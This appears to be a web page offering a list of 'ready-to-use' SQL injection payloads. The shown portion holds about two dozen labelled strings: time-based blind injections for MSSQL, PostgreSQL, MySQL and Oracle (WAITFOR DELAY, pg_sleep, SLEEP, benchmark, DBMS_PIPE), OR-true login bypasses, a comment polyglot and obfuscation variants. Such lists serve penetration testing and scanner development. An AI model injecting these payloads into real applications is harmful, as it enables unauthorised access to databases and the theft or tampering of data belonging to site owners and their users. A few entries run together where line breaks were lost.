SQL Injection
221 ready-to-use payloads
MSSQL Time-Based
MSSQL time-based delay 6 seconds
';%20waitfor%20delay%20'0:0:6'%20--%20
PostgreSQL Time-Based
PostgreSQL pg_sleep 6 seconds
''%7C%7C(select%201%20from%20(select%20pg_sleep(6))x)%7C%7C''
Generic OR True
Generic OR true clause bypass
)%20or%20('x'='xGeneric OR 1=1
Generic OR 1=1 bypass
%20or%201=1
MySQL Sleep 13
MySQL sleep 13 with comment polyglot
(select(0)from(select(sleep(13)))v)/*'+(select(0)from(select(sleep(13)))v)+'"+(select(0)from(select(sleep(13)))v)+"*/
Oracle Time-Based
Oracle DBMS_PIPE delay 10s
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),10)||'
MySQL Sleep 5
MySQL SLEEP 5 seconds
' AND (SELECT 6377 FROM (SELECT(SLEEP(5)))hLTl)--
MSSQL Exec Select
MSSQL dynamic query execution
; execute immediate 'sel' || 'ect us' || 'er'
MySQL Benchmark
MySQL benchmark-based timing
benchmark(10000000,MD5(1))#
Generic NOT True
OR NOT true bypass variant
1' OR NOT 2470=2470-- Ontu
MSSQL WAITFOR
MSSQL WAITFOR DELAY 5s
' WAITFOR DELAY '0:0:5'--
MSSQL WAITFOR Semicolon
MSSQL WAITFOR with semicolon
';WAITFOR DELAY '0:0:5'--
MySQL Sleep Paren
MySQL sleep with double close paren
')) or sleep(5)='
MSSQL Delay Semi
MSSQL waitfor with leading semicolon
;waitfor delay '0:0:5'--
MSSQL Delay Paren Semi
MSSQL waitfor with close paren
);waitfor delay '0:0:5'--
MSSQL Delay Quote Semi
MSSQL waitfor after string close
';waitfor delay '0:0:5'--
MSSQL Delay Double Quote
MSSQL waitfor after double quote
";waitfor delay '0:0:5'--
MSSQL Delay Paren Quote
MSSQL waitfor paren then quote
');waitfor delay '0:0:5'--
MSSQL Delay DQuote Paren
MSSQL waitfor double quote paren
');waitfor delay '0:0:5'--
MSSQL Delay Double Paren
MSSQL waitfor double close paren
));waitfor delay '0:0:5'--
PostgreSQL pg_sleep
PostgreSQL pg_sleep parameterized
1) or pg_sleep(__TIME__)--
MySQL ELT Obfuscation
MySQL ELT-based string bypass
||(elt(-3+5,bin(15),ord(10),hex(char(45))))
Generic Double Quote True
Double quote escape true clause
"hi"") or (""a""=""a"MySQL Sleep Hash
MySQL sleep with double quote and comment
" or sleep(__TIME__)#
PostgreSQL pg_sleep Direct
PostgreSQL pg_sleep direct call
pg_sleep(__TIME__)--